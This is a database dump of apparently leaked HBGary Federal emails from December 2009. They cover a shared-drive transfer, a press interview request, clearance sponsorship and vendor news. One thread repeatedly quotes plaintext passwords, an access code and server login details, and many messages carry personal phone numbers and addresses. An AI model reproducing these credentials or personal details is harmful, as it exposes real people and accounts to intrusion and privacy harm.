Inc.719-237-8623\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11227,'aaron_hbgary_com/11227.html'),(753,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000049.M720375P3547Q753.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','its only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623    Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623 ',3716,'aaron_hbgary_com/3716.html'),(754,'2009-12-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000049.M982522P3547Q754.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','Yeah, download failed. I&#39;ll try again later...On Dec 19, 2009, at 2:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nits only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it.  I&#39;m downloading it now.\r\nTHanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n now I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded.\r\n ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq\r\n AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\n http://idisk.hbgaryfederal.comusername: aaronpassword:  $mwg3nome\r\n-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623   \r\n Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623 \r\n',16444,'aaron_hbgary_com/16444.html'),(755,'2009-12-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000050.M275873P3547Q755.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','If you can&#39;t help yourself...  I wonder if roger knows it will be a single award and that key personnel have already signed contingent offers. Merry Christmas Rog...\r\nOn Dec 19, 2009, at 2:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:its only 550MB uploaded so far.\r\nOn Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it.  I&#39;m downloading it now.THanks!Ted\r\nOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: \r\nnow I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded. ok so in a few go to http://public.me.com/adbarr\r\npassword is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:\r\nGo --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.com\r\nusername: aaronpassword:  $mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623  \r\n \r\n Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623 \r\n',16196,'aaron_hbgary_com/16196.html'),(756,'2009-12-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000050.M527833P3547Q756.eml','\"Aaron Barr\" <adbarr@mac.com>','Arrested development',' From my iPhone\r\n',9805,'aaron_hbgary_com/9805.html'),(757,'2009-12-20','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000050.M738606P3547Q757.eml','\"Barr Aaron\" <aaron@hbgary.com>','N.O.V.A. - Near Orbit Vanguard Alliance','Check out this application:\r\n\r\nhttp://itunes.apple.com/us/app/n-o-v-a-near-orbit-vanguard-alliance/id343596730?mt=8\r\n\r\n\r\n\r\n',14801,'aaron_hbgary_com/14801.html'),(758,'2009-12-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000051.M273997P3547Q759.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','Matthew loves this. &nbsp;It\'s like a browser-based secondlife based on legos:http://www.roblox.com/?rbx_source=google&amp;rbx_medium=cpc&amp;rbx_campaign=googsearchnetwork&amp;gclid=CKqr192j5J4CFQUMDQodiWpIOQTedOn Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:its only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623    Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623 \r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',6999,'aaron_hbgary_com/6999.html'),(759,'2009-12-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000051.M459928P3547Q760.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','How did you zip this? &nbsp;I can\'t unzip it.On Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:its only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623    Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623 \r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',15998,'aaron_hbgary_com/15998.html'),(760,'2009-12-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000051.M66642P3547Q758.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','Looks like it\'s done. &nbsp;Downloading now, thanks.TedOn Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:its only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623    Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623 \r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',12434,'aaron_hbgary_com/12434.html'),(761,'2009-12-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000051.M696053P3547Q761.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','Compress on laptopFrom my iPhoneOn Dec 20, 2009, at 12:49 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHow did you zip this?  I can&#39;t unzip it.On Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:\r\nits only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it.  I&#39;m downloading it now.\r\nTHanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n now I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded.\r\n ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq\r\n AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\n http://idisk.hbgaryfederal.comusername: aaronpassword:  $mwg3nome\r\n-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623   \r\n Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623 \r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice:  916-459-4727 ext 118Cell:  719-237-8623\r\n\r\n\r\n\r\n',12258,'aaron_hbgary_com/12258.html'),(762,'2009-12-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000051.M964744P3547Q762.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','I just unzipped with the compress option when you right click...erghhhh....On Dec 20, 2009, at 12:49 AM, Ted Vera wrote:How did you zip this? &nbsp;I can\'t unzip it.On Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:its only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623    Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623  Ted H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623  ',7957,'aaron_hbgary_com/7957.html'),(763,'2009-12-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000052.M220731P3547Q763.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','yeah thinking about that.On Dec 19, 2009, at 7:43 PM, Ted Vera wrote:If you can\'t help yourself... &nbsp;I wonder if roger knows it will be a single award and that key personnel have already signed contingent offers. Merry Christmas Rog... On Dec 19, 2009, at 2:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:its only 550MB uploaded so far. On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!Ted On Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:  now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarr password is malwarecode: kg779-44qp3-2jmf9-f3gxq AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote: Go --&gt; Connect to Server --&gt; http://idisk.hbgaryfederal.com username: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623     Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc. 719-237-8623 ',8581,'aaron_hbgary_com/8581.html'),(764,'2009-12-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000052.M505152P3547Q764.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','I downloaded it twice and no joy.On Dec 20, 2009, at 6:59 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI just unzipped with the compress option when you right click...erghhhh....On Dec 20, 2009, at 12:49 AM, Ted Vera wrote:\r\nHow did you zip this?  I can&#39;t unzip it.On Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:\r\nits only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:\r\nNow I see it.  I&#39;m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n now I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded.\r\n ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq\r\n AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\n http://idisk.hbgaryfederal.comusername: aaronpassword:  $mwg3nome\r\n-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623   \r\n Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623  \r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice:  916-459-4727 ext 118Cell:  719-237-8623\r\n  \r\n',10937,'aaron_hbgary_com/10937.html'),(765,'2009-12-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000052.M775871P3547Q765.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','Ok I will try the non zipFrom my iPhoneOn Dec 20, 2009, at 1:37 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nI downloaded it twice and no joy.On Dec 20, 2009, at 6:59 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI just unzipped with the compress option when you right click...erghhhh....On Dec 20, 2009, at 12:49 AM, Ted Vera wrote:\r\n\r\nHow did you zip this?  I can&#39;t unzip it.On Dec 19, 2009, at 2:53 PM, Aaron Barr wrote:\r\n\r\nits only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote:\r\n\r\nNow I see it.  I&#39;m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n now I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded.\r\n\r\n ok so in a few go to http://public.me.com/adbarrpassword is malware\r\ncode: kg779-44qp3-2jmf9-f3gxq\r\n AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\n\r\n http://idisk.hbgaryfederal.comusername: aaron\r\npassword:  $mwg3nome\r\n-- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623   \r\n\r\n Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n\r\n719-237-8623  \r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n  \r\n\r\n',4103,'aaron_hbgary_com/4103.html'),(766,'2009-12-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000052.M981336P3547Q766.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','going to upload the straight dmg file overnight...hopefully that works...otherwise have to put it in the mail.AaronThe snow here is unreal.On Dec 20, 2009, at 1:37 PM, Ted Vera wrote:I downloaded it twice and no joy.On Dec 20, 2009, at 6:59 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: I just unzipped with the compress option when you right click...erghhhh....On Dec 20, 2009, at 12:49 AM, Ted Vera wrote: How did you zip this? &nbsp;I can\'t unzip it.On Dec 19, 2009, at 2:53 PM, Aaron Barr wrote: its only 550MB uploaded so far.On Dec 19, 2009, at 4:29 PM, Ted Vera wrote: Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded. ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq  AaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;  http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome -- Ted H. Vera President | COOHBGary Federal, Inc.719-237-8623    Aaron BarrCEOHBGary Federal Inc.  -- Ted H. VeraPresident | COOHBGary Federal, Inc. 719-237-8623   Ted H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623   ',15704,'aaron_hbgary_com/15704.html'),(767,'2009-12-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000053.M182317P3547Q767.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: GCN Story On Enduser IT SecurityTraining','Hi Karen,Sorry for delay. &nbsp;I am sure I can address training in an interview although its not my primary strong suite. &nbsp;I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn\'t happening. &nbsp;For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training. &nbsp;Anyway I can provide a lot more information if needed.Certifications I think are the most used measure of an IT security professionals skill level. &nbsp;In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.But u mentioned end user security training. &nbsp;Thats even worse. &nbsp;Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.IT Security training just has not been taken seriously enough. &nbsp;In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.Impact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems. &nbsp;How many user names and passwords could a pen tester acquire. &nbsp;How many systems could they penetrate. &nbsp;Conduct training and then a few months later retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.In the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.AaronOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:Hi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6077,'aaron_hbgary_com/6077.html'),(768,'2009-12-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000053.M459474P3547Q768.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>,aaron@hbgary.com','Need the sponsor letter.','\r\n\r\n\r\n\r\n\r\nNeed the sponsor letter.\r\n\r\n\r\n\r\n\r\nYou commercial companies need to move faster.\r\n\r\nMorning.&nbsp; Martin wants to sponsor your clearances.&nbsp; Get me the sponsor letter.&nbsp; \r\n\r\nNeed to discuss further the items that we discussed on Friday.\r\n\r\nReady to move out.&nbsp; J\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n',3210,'aaron_hbgary_com/3210.html'),(769,'2009-12-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000053.M641640P3547Q769.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,','Re: Need the sponsor letter.','I expect to receive our cage code from the govt today. The sponsor letter is drafted and ready to go. I&#39;ll send it as soon as I get the cage code. Thanks Brian!\r\nTedOn Dec 21, 2009, at 6:12 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYou commercial companies need to move faster.\r\n\r\nMorning.  Martin wants to sponsor your clearances.  Get me the sponsor letter.  \r\n\r\nNeed to discuss further the items that we discussed on Friday.\r\n\r\n\r\nReady to move out.  J\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n\r\n',15592,'aaron_hbgary_com/15592.html'),(770,'2009-12-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000053.M936892P3547Q770.eml','all@hbgary.com','my cell phone is completely dead - I\'m getting another in 2 hours','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nMy cell phone died yesterday and I&#8217;m getting a new one\r\ntoday in about 2 hours.&nbsp; If you need to reach me please call 540-822-4610\r\nor leave me a message on my cell as I&#8217;ll be checking those as soon as I\r\nget a new phone.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7184,'aaron_hbgary_com/7184.html'),(771,'2009-12-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000056.M146418P3547Q771.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,','Re: Need the sponsor letter.','Just got the CAGE code.  Sponsor letter attached.\r\n\r\nThanks again Brian!\r\nTed\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:12 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> You commercial companies need to move faster.\r\n> \r\n> Morning.  Martin wants to sponsor your clearances.  Get me the sponsor letter. \r\n> \r\n> Need to discuss further the items that we discussed on Friday.\r\n> \r\n> Ready to move out.  J\r\n> \r\n> \r\n> Brian Masterson\r\n> \r\n> Northrop Grumman/Xetron\r\n> \r\n> Chief Technology Officer, IO Programs\r\n> \r\n> Ph: 513-881-3591\r\n> \r\n> Cell: 513-706-4848\r\n> \r\n> Fax: 513-881-3543\r\n> \r\n> \r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',1445,'aaron_hbgary_com/1445.html'),(772,'2009-12-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000056.M630137P3547Q772.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','CAGE Code','Good news.  I just received our CAGE Code:   5U1U6 and sent the sample sponsor letter to Xetron who wants to sponsor our security clearances.\r\n\r\nTed\r\n\r\n\r\n\r\n',10128,'aaron_hbgary_com/10128.html'),(773,'2009-12-21','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000057.M87805P3547Q773.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: GCN Story On Enduser IT SecurityTraining','This is great Aaron -- thanks. Let me go back to the reporter to see if we could possibly set up an interview after the holidays. I\'ll let you know if he is interested either way. Best, K--- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen,\r\n\r\nSorry for delay. &nbsp;I am sure I can address training in an interview although its not my primary strong suite. &nbsp;I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn\'t happening. &nbsp;For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training. &nbsp;Anyway I can provide a lot more information if needed.\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level. &nbsp;In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\nBut u mentioned end user security training. &nbsp;Thats even worse. &nbsp;Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems. &nbsp;How many user names and passwords could a pen tester acquire. &nbsp;How many systems could they penetrate. &nbsp;Conduct training and then a few months later retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',1407,'aaron_hbgary_com/1407.html'),(774,'2009-12-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000058.M482352P3547Q774.eml','all@hbgary.com','FW: CWSandbox V3 info','\r\n\r\n\r\n\r\n\r\nDear &laquo;Contact_FirstName&raquo;\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nSee attached info on competition.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nick Keuning\r\n[mailto:NickK@sunbeltsoftware.com] \r\nSent: Monday, December 21, 2009 4:21 PM\r\nTo: \'Bob Slapik\'\r\nSubject: CWSandbox V3\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHello Bob\r\n\r\n&nbsp;\r\n\r\nI wanted to\r\ntouch base with you and formally introduce myself as your new point of contact\r\nhere at Sunbelt Software, as Tracy has moved on. \r\n\r\n&nbsp;\r\n\r\nI have\r\nattached a highlight of all the new features in CWSandbox V3, which includes\r\nour ground-breaking Digital Behavior Technology for automatic detection of\r\nmalicious activity.\r\n\r\n&nbsp;\r\n\r\nI wanted to\r\nalso let you know that we will be in St. Louis, Missouri on Jan. 25, 2010, for\r\nthe DoD Cyber Crime Conference.\r\nIf you&#8217;re present please stop by and check out all the new features of\r\nCWSandbox V3.\r\n\r\n&nbsp;\r\n\r\nMore\r\ninformation on the conference is available here:\r\n\r\nhttp://www.dodcybercrime.com/10CC/index.asp\r\n\r\n&nbsp;\r\n\r\nIf you have\r\nany questions please let me know. \r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nNicholas Keuning\r\n\r\nBusiness Development Associate \r\n\r\n&nbsp;\r\n\r\nSunbelt Software\r\n\r\nE: nickk@sunbeltsoftware.com\r\n\r\nV: 1-727-562-0101&nbsp;ext. 295\r\n\r\nF: 1-727-562-3402\r\n\r\nB: www.sunbeltblog.blogspot.com/\r\n\r\nWeb: 